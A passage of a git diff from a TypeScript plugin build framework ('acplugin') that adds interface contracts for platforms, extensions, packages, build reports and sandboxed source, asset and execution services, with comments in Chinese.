ExtensionSubject[]; +} + +/** Extension build 阶段的不可变 Built State。 */ +export interface ExtensionBuildOutput { + readonly state: Readonly; +} + +/** 作者配置中可安装的 Extension 定义。 */ +export interface ExtensionDefinition< + O extends JsonObject = JsonObject, + D = unknown, + V = D, + B = V, +> { + readonly id: string; + readonly apiVersion: typeof LIFECYCLE_API_VERSION; + readonly options?: O; + readonly resourceRoots: readonly string[]; + /** 为当前 BuildSession 创建隔离的 Extension 生命周期状态。 */ + createSession(context: ExtensionSetupContext): Awaitable>; +} + +/** 经过工厂校验、复制、品牌化和冻结的 Extension。 */ +export interface AcpluginExtension< + O extends JsonObject = JsonObject, + D = unknown, + V = D, + B = V, +> extends ExtensionDefinition { + readonly [extensionDefinitionTypeBrand]: true; +} + +/** Platform 对其他集成公开的稳定身份。 */ +export interface PlatformIntegrationDescription { + readonly kind: 'platform'; + readonly id: string; + readonly apiVersion: typeof LIFECYCLE_API_VERSION; + readonly options?: Readonly; + readonly capabilities?: Readonly; +} + +/** Extension 对其他集成公开的稳定身份。 */ +export interface ExtensionIntegrationDescription { + readonly kind: 'extension'; + readonly id: string; + readonly apiVersion: typeof LIFECYCLE_API_VERSION; + readonly options?: Readonly; + readonly resourceRoots: readonly string[]; +} + +/** 集成只能观察的结构化身份联合类型。 */ +export type IntegrationDescription = PlatformIntegrationDescription | ExtensionIntegrationDescription; + +/** Platform Session 创建上下文。 */ +export interface PlatformSetupContext { + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly options: Readonly; + readonly config: ResolvedConfigSummary; + readonly integrations: readonly IntegrationDescription[]; +} + +/** Extension Session 创建上下文。 */ +export type ExtensionSetupContext = PlatformSetupContext; + +/** Extension discover 阶段的受限上下文。 */ +export interface ExtensionDiscoverContext { + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly roots: Readonly>; + readonly sources: SourceService; + readonly modules: ModuleService; + readonly diagnostics: DiagnosticService; +} + +/** Extension validate 阶段的规范工程上下文。 */ +export interface ExtensionValidateContext { + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly project: CanonicalProject; + readonly diagnostics: DiagnosticService; +} + +/** Extension build 阶段的受管能力上下文。 */ +export interface ExtensionBuildContext extends ExtensionValidateContext { + readonly compiler: CompilerService; + readonly assets: AssetService; + readonly execution: ExecutionService; +} + +/** 集成清理阶段看到的脱敏结果。 */ +export interface IntegrationCloseContext { + readonly outcome: 'success' | 'failed' | 'aborted'; + readonly committed: boolean; + readonly failure?: { readonly code: string; readonly phase: string; readonly message: string }; +} + +/** Platform BuildSession 私有生命周期。 */ +export interface PlatformSession { + /** 校验一个 canonical Component 的平台专属字段。 */ + validateComponent?(context: PlatformComponentValidationContext): Awaitable; + /** 从 canonical project 创建 Platform base Package。 */ + createPackage(context: CreatePackageContext): Awaitable; + /** 从集中合并的 snapshot 确定主 Package。 */ + finalizePackage(context: FinalizePackageContext): Awaitable; + /** 校验 Core 临时物化的完整 Package candidate。 */ + validatePackage(context: ValidatePackageContext): Awaitable; + /** 从已验证主 Package 创建可选 Distribution。 */ + createDistributions?(context: DistributionContext): Awaitable; + /** 在成功、失败或中止后释放当前 Session 状态。 */ + close?(context: IntegrationCloseContext): Awaitable; +} + +/** Extension 对一个 Platform 的无序 add-only Contributor。 */ +export interface PlatformContributor { + readonly platform: string; + readonly platformApiVersion: typeof LIFECYCLE_API_VERSION; + /** 对只读 base Package 返回无序 add-only Contribution。 */ + contribute(context: ContributionContext, built: Readonly): Awaitable; +} + +/** Extension 对一个 Document extension point 的字段贡献。 */ +export interface DocumentFieldContribution { + readonly document: string; + readonly path: DocumentFieldPath; + readonly value: JsonValue; +} + +/** Extension Contributor 的集中合并输入。 */ +export interface PackageContribution { + readonly documentFields?: readonly DocumentFieldContribution[]; + readonly assets?: readonly PackageAssetInput[]; + readonly compatibility: readonly CompatibilityInput[]; +} + +/** Contributor 只能观察 Platform base snapshot 的上下文。 */ +export interface ContributionContext { + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly platform: PlatformIntegrationDescription; + readonly project: CanonicalProject; + readonly base: PlatformBasePackageSnapshot; + readonly assets: AssetService; + readonly diagnostics: DiagnosticService; +} + +/** Extension BuildSession 私有生命周期。 */ +export interface ExtensionSession { + /** 从 Extension 独占来源根发现作者资源。 */ + discover(context: ExtensionDiscoverContext): Awaitable; + /** 对发现状态和 canonical project 执行验证。 */ + validate(context: ExtensionValidateContext, discovered: Readonly): Awaitable>; + /** 通过 Core Host 把验证状态构建为跨 Platform Built State。 */ + build(context: ExtensionBuildContext, validated: Readonly): Awaitable>; + readonly contributors: readonly PlatformContributor[]; + /** 在成功、失败或中止后释放当前 Session 状态。 */ + close?(context: IntegrationCloseContext): Awaitable; +} + +/** Platform 或 Contributor 返回的兼容性结论。 */ +export interface CompatibilityInput { + readonly subject: string; + readonly capability: string; + readonly level: CompatibilityLevel; + readonly transformation?: string; + readonly reason: string; + readonly causes?: readonly string[]; +} + +/** 兼容性支持级别。 */ +export type CompatibilityLevel = 'native' | 'transform' | 'degraded' | 'unsupported'; + +/** 元数据在目标 Package 中的最终去向。 */ +export type MetadataDisposition = 'emitted' | 'omitted'; + +/** Platform 返回的单个元数据处理结论。 */ +export interface MetadataDispositionInput { + readonly field: string; + readonly disposition: MetadataDisposition; + readonly output?: string; + readonly reason: string; +} diff --git a/packages/core/src/contracts/packages.ts b/packages/core/src/contracts/packages.ts new file mode 100644 index 0000000..41e45c9 --- /dev/null +++ b/packages/core/src/contracts/packages.ts @@ -0,0 +1,142 @@ +import type { + DocumentFieldPath, + JsonValue, +} from './common.js'; +import type { + BuildMode, + ConfigCommand, +} from './config.js'; +import type { CanonicalProject } from './components.js'; +import type { CompilerService } from './compiler.js'; +import type { + CompatibilityInput, + MetadataDispositionInput, + PlatformDeliveryType, +} from './integrations.js'; +import type { + AssetRef, + AssetService, + DiagnosticService, +} from './services.js'; + +/** Platform 创建的主 Package 输入。 */ +export interface PlatformPackageInput { + readonly documents: readonly PackageDocumentInput[]; + readonly assets: readonly PackageAssetInput[]; + readonly compatibility: readonly CompatibilityInput[]; + readonly metadata: readonly MetadataDispositionInput[]; +} + +/** Package 中的 Asset 路径映射。 */ +export interface PackageAssetInput { + readonly path: string; + readonly asset: AssetRef; +} + +/** Platform 拥有的结构化 Package Document。 */ +export interface PackageDocumentInput { + readonly id: string; + readonly path: string; + readonly format: 'json' | 'yaml' | 'toml' | 'frontmatter'; + readonly value: Readonly; + readonly emission?: 'required' | 'omit-if-empty'; + readonly extensionPoints: readonly DocumentFieldPath[]; +} + +/** Package snapshot 中保留 issuer 的 Asset。 */ +export interface PackageAssetSnapshot { + readonly path: string; + readonly owner: string; + readonly asset: AssetRef; +} + +/** Package snapshot 中冻结的结构化 Document。 */ +export interface PackageDocumentSnapshot { + readonly id: string; + readonly path: string; + readonly format: PackageDocumentInput['format']; + readonly value: Readonly; + readonly emission: 'required' | 'omit-if-empty'; + readonly extensionPoints: readonly DocumentFieldPath[]; +} + +/** Contributor 只能读取的 Platform base snapshot。 */ +export interface PlatformBasePackageSnapshot { + readonly documents: readonly PackageDocumentSnapshot[]; + readonly assets: readonly PackageAssetSnapshot[]; + readonly compatibility: readonly CompatibilityInput[]; + readonly metadata: readonly MetadataDispositionInput[]; +} + +/** Core 集中合并后的 Package snapshot。 */ +export type MergedPackageSnapshot = PlatformBasePackageSnapshot; + +/** Platform 最终确定的主 Package 身份和新增 Asset。 */ +export interface PrimaryPackageInput { + readonly id: string; + readonly type: PlatformDeliveryType; + readonly assets?: readonly PackageAssetInput[]; +} + +/** Platform base Package 创建上下文。 */ +export interface CreatePackageContext { + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly project: CanonicalProject; + readonly compiler: CompilerService; + readonly assets: AssetService; + readonly diagnostics: DiagnosticService; +} + +/** Platform finalization 上下文。 */ +export interface FinalizePackageContext extends CreatePackageContext { + readonly package: MergedPackageSnapshot; +} + +/** 已验证候选中的 Package Unit snapshot。 */ +export interface PackageUnitSnapshot { + readonly platform: string; + readonly id: string; + readonly type: PlatformDeliveryType | 'marketplace'; + readonly role: 'primary' | 'distribution'; + readonly assets: readonly PackageAssetSnapshot[]; + readonly compatibility: readonly CompatibilityInput[]; + readonly metadata: readonly MetadataDispositionInput[]; +} + +/** 临时物化且只在校验调用期间授权的候选。 */ +export interface PackageCandidate { + readonly root: string; + readonly unit: PackageUnitSnapshot; +} + +/** Platform candidate 校验上下文。 */ +export interface ValidatePackageContext { + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly candidate: PackageCandidate; + readonly diagnostics: DiagnosticService; +} + +/** Distribution 中的一条继承或新增 Asset。 */ +export interface DistributionAssetInput { + readonly path: string; + readonly asset: AssetRef; +} + +/** Marketplace Distribution 输入。 */ +export interface DistributionPackageInput { + readonly id: string; + readonly type: 'marketplace'; + readonly assets: readonly DistributionAssetInput[]; +} + +/** Platform 创建 Distribution 的上下文。 */ +export interface DistributionContext { + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly project: CanonicalProject; + readonly primary: PackageUnitSnapshot; + readonly assets: AssetService; + readonly diagnostics: DiagnosticService; +} diff --git a/packages/core/src/contracts/project.ts b/packages/core/src/contracts/project.ts new file mode 100644 index 0000000..40372f1 --- /dev/null +++ b/packages/core/src/contracts/project.ts @@ -0,0 +1,62 @@ +import type { BuildMode } from './config.js'; +import type { BuildReport } from './reports.js'; + +/** Project 创建时固定的工程身份选项。 */ +export interface CreateProjectOptions { + readonly cwd?: string; + readonly configFile?: string; +} + +/** 单次 Project 执行选项。 */ +export interface ProjectRunOptions { + readonly command?: 'validate' | 'inspect' | 'build'; + readonly mode?: BuildMode; + readonly platforms?: readonly string[]; + readonly commit?: boolean; +} + +/** 持续构建 Session 选项。 */ +export interface ProjectDevOptions { + readonly mode?: BuildMode; + readonly platforms?: readonly string[]; + readonly commit?: boolean; +} + +/** runProject convenience 的组合选项。 */ +export interface RunProjectOptions extends CreateProjectOptions, ProjectRunOptions {} + +/** DevSession 发布的稳定事件。 */ +export type DevSessionEvent = { + readonly type: 'build-start'; + readonly sequence: number; + readonly changes: readonly string[]; +} | { + readonly type: 'build-complete'; + readonly sequence: number; + readonly changes: readonly string[]; + readonly report: BuildReport; +} | { + readonly type: 'closed'; + readonly sequence: number; + readonly report: BuildReport; +}; + +/** Core 独占 Watch ownership 的持续构建句柄。 */ +export interface DevSession { + /** 最近一次成功报告;首次构建失败时由该初始失败报告暂时播种。 */ + readonly current: BuildReport; + /** 订阅稳定 DevSession 事件并返回取消函数。 */ + subscribe(listener: (event: DevSessionEvent) => void): () => void; + /** 幂等关闭 Watch 与当前 BuildSession;cleanup 失败也会先完成 closed 终态。 */ + close(): Promise; + /** 无论 cleanup 是否失败都在唯一 closed 事件发布后解析。 */ + readonly closed: Promise; +} + +/** 绑定同一工程配置身份的程序化 Project。 */ +export interface Project { + /** 使用固定工程身份执行一次 BuildSession。 */ + run(options?: ProjectRunOptions): Promise; + /** 使用相同 Kernel 创建持续构建 Session。 */ + dev(options?: ProjectDevOptions): Promise; +} diff --git a/packages/core/src/contracts/reports.ts b/packages/core/src/contracts/reports.ts new file mode 100644 index 0000000..715744f --- /dev/null +++ b/packages/core/src/contracts/reports.ts @@ -0,0 +1,132 @@ +import type { + BuildMode, + ConfigCommand, + NodeRuntimeEntryKind, +} from './config.js'; +import type { + CompileOutputFile, + CompileProfile, +} from './compiler.js'; +import type { + CompatibilityInput, + ExtensionSubject, + MetadataDispositionInput, + PlatformDeliveryType, +} from './integrations.js'; +import type { + AssetMode, + DiagnosticInput, + SourceLocation, +} from './services.js'; + +/** 附加 Platform 身份的兼容性报告项。 */ +export interface CompatibilityEntry extends CompatibilityInput { + readonly platform: string; +} + +/** 附加 Platform 身份的元数据报告项。 */ +export interface MetadataDispositionEntry extends MetadataDispositionInput { + readonly platform: string; +} + +/** 稳定报告中的 Asset 来源。 */ +export type AssetOrigin = { + readonly type: 'source'; + readonly resource: string; + readonly path: string; +} | { + readonly type: 'compile'; + readonly owner: string; + readonly job: string; + readonly output: string; + readonly profile: CompileProfile; + readonly kind: CompileOutputFile['type']; + readonly inputs: readonly string[]; +} | { + readonly type: 'generated'; + readonly owner: string; + readonly operation: string; + readonly subjects?: readonly string[]; +}; + +/** BuildReport 中的 Asset 摘要。 */ +export interface PackageAssetReport { + readonly path: string; + readonly owner: string; + readonly mode: AssetMode; + readonly size: number; + readonly sha256: string; + readonly origin: AssetOrigin; +} + +/** BuildReport 中的 Package Unit 摘要。 */ +export interface PackageUnitReport { + readonly platform: string; + readonly id: string; + readonly type: PlatformDeliveryType | 'marketplace'; + readonly role: 'primary' | 'distribution'; + readonly validated: boolean; + readonly assets: readonly PackageAssetReport[]; +} + +/** BuildReport 中的 Component 摘要。 */ +export interface ComponentReport { + readonly kind: 'command' | 'skill' | 'agent'; + readonly id: string; + readonly location: SourceLocation; +} + +/** BuildReport 中的 Runtime 摘要。 */ +export interface RuntimeReport { + readonly id: string; + readonly kind: NodeRuntimeEntryKind; + readonly location: SourceLocation; + readonly built: boolean; +} + +/** BuildReport 中的 Extension 摘要。 */ +export interface ExtensionReport { + readonly id: string; + readonly discovered: boolean; + readonly subjects: readonly ExtensionSubject[]; +} + +/** BuildReport 中的 Platform 摘要。 */ +export interface PlatformReport { + readonly id: string; + readonly selected: boolean; + readonly success: boolean; + readonly packageIds: readonly string[]; +} + +/** 稳定诊断阶段。 */ +export type DiagnosticPhase = 'config' | 'setup' | 'discover' | 'validate' | 'compile' | 'package' | 'contribute' | 'finalize' | 'materialize' | 'platform-validate' | 'compatibility' | 'transaction' | 'cleanup' | 'dev' | 'internal'; + +/** BuildReport 中已绑定来源的诊断。 */ +export interface Diagnostic extends DiagnosticInput { + readonly phase: DiagnosticPhase; + readonly platform?: string; + readonly extension?: string; + readonly owner?: string; + readonly component?: { readonly kind: 'command' | 'skill' | 'agent'; readonly id: string }; + readonly related?: readonly SourceLocation[]; +} + +/** Kernel v2 唯一公开构建报告。 */ +export interface BuildReport { + readonly schemaVersion: 2; + readonly framework: { readonly name: 'acplugin'; readonly version: string }; + readonly compiler: { readonly name: 'rolldown'; readonly version: string }; + readonly success: boolean; + readonly command: ConfigCommand; + readonly mode: BuildMode; + readonly committed: boolean; + readonly components: readonly ComponentReport[]; + readonly runtimes: readonly RuntimeReport[]; + readonly extensions: readonly ExtensionReport[]; + readonly platforms: readonly PlatformReport[]; + readonly packages: readonly PackageUnitReport[]; + readonly compatibility: readonly CompatibilityEntry[]; + readonly metadata: readonly MetadataDispositionEntry[]; + readonly diagnostics: readonly Diagnostic[]; +} diff --git a/packages/core/src/contracts/services.ts b/packages/core/src/contracts/services.ts new file mode 100644 index 0000000..5372be2 --- /dev/null +++ b/packages/core/src/contracts/services.ts @@ -0,0 +1,149 @@ +/** 安全的工程相对来源位置。 */ +export interface SourceLocation { + readonly path: string; + readonly line?: number; + readonly column?: number; +} + +/** 生命周期可以提交的稳定诊断。 */ +export interface DiagnosticInput { + readonly code: string; + readonly severity: 'warning' | 'error'; + readonly message: string; + readonly location?: SourceLocation; + readonly fieldPath?: readonly (string | number)[]; + readonly hint?: string; +} + +/** 绑定 owner 和 phase 的诊断服务。 */ +export interface DiagnosticService { + /** 向当前 owner 和 phase 提交一条结构化诊断。 */ + report(input: DiagnosticInput): void; +} + +/** Core 签发的源码目录能力;运行时授权依赖 Session 对象身份。 */ +declare const sourceDirectoryTypeBrand: unique symbol; + +/** Core 签发的源码文件能力;运行时授权依赖 Session 对象身份。 */ +declare const sourceFileTypeBrand: unique symbol; + +/** Source Registry 签发的来源 Asset 类型品牌。 */ +declare const sourceAssetTypeBrand: unique symbol; + +/** Compiler Host 签发的生成 Asset 类型品牌。 */ +declare const generatedAssetTypeBrand: unique symbol; + +/** Asset Service 签发的内存字节 Asset 类型品牌。 */ +declare const bytesAssetTypeBrand: unique symbol; + +/** Core 签发的源码目录能力;运行时授权依赖 Session 对象身份。 */ +export interface SourceDirectoryRef { + readonly kind: 'source-directory'; + readonly path: string; + readonly [sourceDirectoryTypeBrand]: true; +} + +/** Core 签发的源码文件能力;运行时授权依赖 Session 对象身份。 */ +export interface SourceFileRef { + readonly kind: 'source-file'; + readonly path: string; + readonly [sourceFileTypeBrand]: true; +} + +/** Source Service 返回的已验证目录项。 */ +export type SourceEntry = { + readonly type: 'file'; + readonly name: string; + readonly path: string; + readonly file: SourceFileRef; +} | { + readonly type: 'directory'; + readonly name: string; + readonly path: string; + readonly directory: SourceDirectoryRef; +}; + +/** owner-scoped 源码读取能力。 */ +export interface SourceService { + /** 枚举一个已授权来源目录。 */ + list(directory: SourceDirectoryRef, options?: { readonly recursive?: boolean }): Promise; + /** 从已授权目录签发后代文件 ref。 */ + file(directory: SourceDirectoryRef, relativePath: string): Promise; + /** 从已授权目录签发后代目录 ref。 */ + directory(directory: SourceDirectoryRef, relativePath: string): Promise; + /** 在读取上限内复制来源文件字节。 */ + read(file: SourceFileRef, options?: { readonly maxBytes?: number }): Promise; + /** 在读取上限内以 UTF-8 解码来源文件。 */ + readText(file: SourceFileRef, options?: { readonly maxBytes?: number }): Promise; +} + +/** 可信结构化 ESM 作者模块的加载服务。 */ +export interface ModuleService { + /** 执行受管 ESM 图并返回其 default export。 */ + loadDefault(request: { readonly id: string; readonly entry: SourceFileRef }): Promise; +} + +/** Source Registry 签发的来源 Asset。 */ +export interface SourceAssetRef { + readonly kind: 'source-asset'; + readonly id: string; + readonly [sourceAssetTypeBrand]: true; +} + +/** Compiler Host 签发的生成 Asset。 */ +export interface GeneratedAssetRef { + readonly kind: 'generated-asset'; + readonly id: string; + readonly [generatedAssetTypeBrand]: true; +} + +/** Asset Service 从内存字节签发的 Asset。 */ +export interface BytesAssetRef { + readonly kind: 'bytes-asset'; + readonly id: string; + readonly [bytesAssetTypeBrand]: true; +} + +/** 所有受管 Asset 引用。 */ +export type AssetRef = SourceAssetRef | GeneratedAssetRef | BytesAssetRef; + +/** 受管 Asset 支持的文件权限。 */ +export type AssetMode = 0o644 | 0o755; + +/** Bytes Asset 的稳定生成来源。 */ +export interface GeneratedBytesOriginInput { + readonly operation: string; + readonly subjects?: readonly string[]; +} + +/** owner-scoped Asset 创建与受限读取服务。 */ +export interface AssetService { + /** 从已授权来源文件创建保留来源身份的 Asset。 */ + fromSource(source: SourceFileRef, options?: { readonly mode?: AssetMode }): Promise; + /** 从复制后的内存字节创建带结构化来源的 Asset。 */ + fromBytes(input: { readonly bytes: Uint8Array | string; readonly mode?: AssetMode; readonly origin: GeneratedBytesOriginInput }): Promise; + /** 在 owner grant 和读取上限内复制 Asset 字节。 */ + read(asset: AssetRef, options?: { readonly maxBytes?: number }): Promise; +} + +/** Execution Host 的稳定进程结果。 */ +export interface ExecutionResult { + readonly status: 'exited' | 'signaled' | 'timed-out' | 'output-limit'; + readonly exitCode: number | null; + readonly signal: string | null; + readonly stdout: Uint8Array; + readonly stderr: Uint8Array; +} + +/** owner-scoped Node Execution Host 能力。 */ +export interface ExecutionService { + /** 在隔离 cwd、最小环境和固定资源上限内执行 Node entry。 */ + runNode(request: { + readonly entry: GeneratedAssetRef; + readonly args?: readonly string[]; + readonly stdin?: Uint8Array | string; + readonly timeoutMs: number; + readonly maxOutputBytes: number; + readonly environment?: Readonly>; + }): Promise; +} diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index 5f8c787..3ee624f 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -1,8 +1,9 @@ -export * from './kernel-types.js'; -export * from './kernel-contracts.js'; -export * from './transaction.js'; -export * from './serialization.js'; -export * from './compiler/compiler-host.js'; -export * from './kernel/project.js'; -export * from './kernel/build-session.js'; -export * from './kernel/config-resolver.js'; +export * from './contracts/index.js'; +export * from './api/definitions.js'; +export * from './output/transaction.js'; +export * from './serialization/index.js'; +export * from './security/json-snapshot.js'; +export * from './compiler/compiler-service.js'; +export * from './project/project.js'; +export * from './lifecycle/build-session.js'; +export * from './config/resolver.js'; diff --git a/packages/core/src/kernel-types.ts b/packages/core/src/kernel-types.ts deleted file mode 100644 index 12eca9a..0000000 --- a/packages/core/src/kernel-types.ts +++ /dev/null @@ -1,1030 +0,0 @@ -import type { - EngineInputOptions, - EngineOutputOptions, - EnginePlugin, -} from './compiler/engine-loader.js'; - -/** Platform 与 Extension 共同使用且在本轮重写中保持不变的生命周期 API 版本。 */ -export const LIFECYCLE_API_VERSION = '1' as const; - -/** 同步值或 PromiseLike 值。 */ -export type Awaitable = T | PromiseLike; - -/** JSON 标量。 */ -export type JsonPrimitive = string | number | boolean | null; - -/** 可由 Core 复制、验证并冻结的 JSON 对象。 */ -export interface JsonObject { - readonly [key: string]: JsonValue; -} - -/** 可由 Core 确定性处理的 JSON 值。 */ -export type JsonValue = JsonPrimitive | readonly JsonValue[] | JsonObject; - -/** Document 中不可歧义的非空字段路径。 */ -export type DocumentFieldPath = readonly [string, ...string[]]; - -/** 配置与 BuildSession 支持的命令。 */ -export type ConfigCommand = 'dev' | 'validate' | 'inspect' | 'build'; - -/** 构建执行模式。 */ -export type BuildMode = 'development' | 'production'; - -/** 函数式配置唯一可观察的执行环境。 */ -export interface ConfigEnvironment { - readonly command: ConfigCommand; - readonly mode: BuildMode; -} - -/** Plugin 作者元数据。 */ -export interface PluginAuthor { - readonly name: string; - readonly email?: string; - readonly url?: string; -} - -/** 规范化后的 Plugin 元数据。 */ -export interface PluginMetadata { - readonly name: string; - readonly version: string; - readonly description: string; - readonly displayName?: string; - readonly author?: PluginAuthor; - readonly homepage?: string; - readonly repository?: string; - readonly license?: string; - readonly keywords: readonly string[]; -} - -/** Public 目录中的一条显式来源映射。 */ -export interface PublicCopyRule { - readonly from: string; - readonly to: string; -} - -/** Public 资源的关闭、简写或精确映射配置。 */ -export type PublicConfig = false | string | { - readonly dir?: string; - readonly copy?: readonly PublicCopyRule[]; -}; - -/** Node Runtime 入口的执行意图。 */ -export type NodeRuntimeEntryKind = 'executable' | 'module'; - -/** 作者显式配置的 Node Runtime 入口。 */ -export interface NodeRuntimeEntryInput { - readonly entry: string; - readonly kind?: NodeRuntimeEntryKind; -} - -/** portable-node 允许作者调整的解析参数。 */ -type PortableReadonlyField = T extends readonly (infer E)[] ? readonly E[] : T; - -/** 从精确 Engine 类型派生只读 JSON 参数子集。 */ -type PortableOptionSubset = Readonly<{ - [P in K]?: PortableReadonlyField>; -}>; - -/** portable-node 允许作者调整的解析参数。 */ -export type PortableNodeResolveOptions = PortableOptionSubset< - NonNullable, - 'conditionNames' | 'extensions' | 'mainFields' | 'mainFiles' ->; - -/** portable-node 允许作者调整的转换参数。 */ -export type PortableNodeTransformOptions = PortableOptionSubset< - NonNullable, - 'define' | 'dropLabels' -> & { - readonly jsx?: false | 'react' | 'react-jsx' | 'preserve'; -}; - -/** 固定 Node 20 ESM contract 内可复用的纯 JSON 编译参数。 */ -export interface PortableNodeCompileOptions { - readonly resolve?: PortableNodeResolveOptions; - readonly transform?: PortableNodeTransformOptions; - readonly treeshake?: Extract; -} - -/** 内建 Node Runtime Resource 的作者配置。 */ -export interface NodeRuntimeConfig { - readonly target?: 'node20'; - readonly entries?: Readonly>; - readonly compile?: PortableNodeCompileOptions; -} - -/** 构建输出和全局兼容性策略。 */ -export interface BuildConfig { - readonly outDir?: string; - readonly strict?: boolean; -} - -/** Platform 声明的稳定 Plugin-local Node Runtime 能力。 */ -export type NodeRuntimeCapability = Readonly<{ - target: 'node20'; - format: 'esm'; - root: 'plugin'; -}>; - -/** Platform 供 Framework 和 Extension 协商的只读能力数据。 */ -export type PlatformCapabilities = Readonly<{ - nodeRuntime?: NodeRuntimeCapability; - readonly [capability: string]: JsonValue | NodeRuntimeCapability | undefined; -}>; - -/** Platform 主交付的安装形态。 */ -export type PlatformDeliveryType = 'plugin' | 'workspace' | 'package'; - -/** 仅用于 TypeScript 名义类型的 Platform 品牌,不参与运行时授权。 */ -declare const platformDefinitionTypeBrand: unique symbol; - -/** 仅用于 TypeScript 名义类型的 Extension 品牌,不参与运行时授权。 */ -declare const extensionDefinitionTypeBrand: unique symbol; - -/** 作者配置中可安装的 Platform 定义。 */ -export interface PlatformDefinition { - readonly id: string; - readonly apiVersion: typeof LIFECYCLE_API_VERSION; - readonly deliveryType: PlatformDeliveryType; - readonly strict?: boolean; - readonly options?: O; - readonly capabilities?: PlatformCapabilities; - /** 为当前 BuildSession 创建隔离的平台生命周期状态。 */ - createSession(context: PlatformSetupContext): Awaitable; -} - -/** 经过工厂校验、复制、品牌化和冻结的 Platform。 */ -export interface AcpluginPlatform extends PlatformDefinition { - readonly [platformDefinitionTypeBrand]: true; -} - -/** Extension 验证后声明的兼容性覆盖主题。 */ -export interface ExtensionSubject { - readonly subject: string; - readonly capabilities: readonly string[]; -} - -/** Extension validate 阶段的状态与覆盖声明。 */ -export interface ExtensionValidationOutput { - readonly state: Readonly; - readonly subjects: readonly ExtensionSubject[]; -} - -/** Extension build 阶段的不可变 Built State。 */ -export interface ExtensionBuildOutput { - readonly state: Readonly; -} - -/** 作者配置中可安装的 Extension 定义。 */ -export interface ExtensionDefinition< - O extends JsonObject = JsonObject, - D = unknown, - V = D, - B = V, -> { - readonly id: string; - readonly apiVersion: typeof LIFECYCLE_API_VERSION; - readonly options?: O; - readonly resourceRoots: readonly string[]; - /** 为当前 BuildSession 创建隔离的 Extension 生命周期状态。 */ - createSession(context: ExtensionSetupContext): Awaitable>; -} - -/** 经过工厂校验、复制、品牌化和冻结的 Extension。 */ -export interface AcpluginExtension< - O extends JsonObject = JsonObject, - D = unknown, - V = D, - B = V, -> extends ExtensionDefinition { - readonly [extensionDefinitionTypeBrand]: true; -} - -/** acplugin.config.ts 的最终作者配置。 */ -export interface UserConfig { - readonly name: string; - readonly version: string; - readonly description: string; - readonly displayName?: string; - readonly author?: PluginAuthor; - readonly homepage?: string; - readonly repository?: string; - readonly license?: string; - readonly keywords?: readonly string[]; - readonly srcDir?: string; - readonly public?: PublicConfig; - readonly runtime?: false | NodeRuntimeConfig; - readonly platforms: readonly AcpluginPlatform[]; - readonly extensions?: readonly AcpluginExtension[]; - readonly build?: BuildConfig; -} - -/** 配置文件允许导出的静态对象或函数。 */ -export type UserConfigExport = UserConfig | ((environment: Readonly) => Awaitable); - -/** 不包含工程路径的已解析配置摘要。 */ -export interface ResolvedConfigSummary { - readonly metadata: Readonly; - readonly command: ConfigCommand; - readonly mode: BuildMode; - readonly strict: boolean; -} - -/** Platform 对其他集成公开的稳定身份。 */ -export interface PlatformIntegrationDescription { - readonly kind: 'platform'; - readonly id: string; - readonly apiVersion: typeof LIFECYCLE_API_VERSION; - readonly options?: Readonly; - readonly capabilities?: Readonly; -} - -/** Extension 对其他集成公开的稳定身份。 */ -export interface ExtensionIntegrationDescription { - readonly kind: 'extension'; - readonly id: string; - readonly apiVersion: typeof LIFECYCLE_API_VERSION; - readonly options?: Readonly; - readonly resourceRoots: readonly string[]; -} - -/** 集成只能观察的结构化身份联合类型。 */ -export type IntegrationDescription = PlatformIntegrationDescription | ExtensionIntegrationDescription; - -/** 安全的工程相对来源位置。 */ -export interface SourceLocation { - readonly path: string; - readonly line?: number; - readonly column?: number; -} - -/** 生命周期可以提交的稳定诊断。 */ -export interface DiagnosticInput { - readonly code: string; - readonly severity: 'warning' | 'error'; - readonly message: string; - readonly location?: SourceLocation; - readonly fieldPath?: readonly (string | number)[]; - readonly hint?: string; -} - -/** 绑定 owner 和 phase 的诊断服务。 */ -export interface DiagnosticService { - /** 向当前 owner 和 phase 提交一条结构化诊断。 */ - report(input: DiagnosticInput): void; -} - -/** Platform Session 创建上下文。 */ -export interface PlatformSetupContext { - readonly command: ConfigCommand; - readonly mode: BuildMode; - readonly options: Readonly; - readonly config: ResolvedConfigSummary; - readonly integrations: readonly IntegrationDescription[]; -} - -/** Extension Session 创建上下文。 */ -export type ExtensionSetupContext = PlatformSetupContext; - -/** Core 签发的源码目录能力;运行时授权依赖 Session 对象身份。 */ -declare const sourceDirectoryTypeBrand: unique symbol; - -/** Core 签发的源码文件能力;运行时授权依赖 Session 对象身份。 */ -declare const sourceFileTypeBrand: unique symbol; - -/** Source Registry 签发的来源 Asset 类型品牌。 */ -declare const sourceAssetTypeBrand: unique symbol; - -/** Compiler Host 签发的生成 Asset 类型品牌。 */ -declare const generatedAssetTypeBrand: unique symbol; - -/** Asset Service 签发的内存字节 Asset 类型品牌。 */ -declare const bytesAssetTypeBrand: unique symbol; - -/** Core 签发的源码目录能力;运行时授权依赖 Session 对象身份。 */ -export interface SourceDirectoryRef { - readonly kind: 'source-directory'; - readonly path: string; - readonly [sourceDirectoryTypeBrand]: true; -} - -/** Core 签发的源码文件能力;运行时授权依赖 Session 对象身份。 */ -export interface SourceFileRef { - readonly kind: 'source-file'; - readonly path: string; - readonly [sourceFileTypeBrand]: true; -} - -/** Source Service 返回的已验证目录项。 */ -export type SourceEntry = { - readonly type: 'file'; - readonly name: string; - readonly path: string; - readonly file: SourceFileRef; -} | { - readonly type: 'directory'; - readonly name: string; - readonly path: string; - readonly directory: SourceDirectoryRef; -}; - -/** owner-scoped 源码读取能力。 */ -export interface SourceService { - /** 枚举一个已授权来源目录。 */ - list(directory: SourceDirectoryRef, options?: { readonly recursive?: boolean }): Promise; - /** 从已授权目录签发后代文件 ref。 */ - file(directory: SourceDirectoryRef, relativePath: string): Promise; - /** 从已授权目录签发后代目录 ref。 */ - directory(directory: SourceDirectoryRef, relativePath: string): Promise; - /** 在读取上限内复制来源文件字节。 */ - read(file: SourceFileRef, options?: { readonly maxBytes?: number }): Promise; - /** 在读取上限内以 UTF-8 解码来源文件。 */ - readText(file: SourceFileRef, options?: { readonly maxBytes?: number }): Promise; -} - -/** 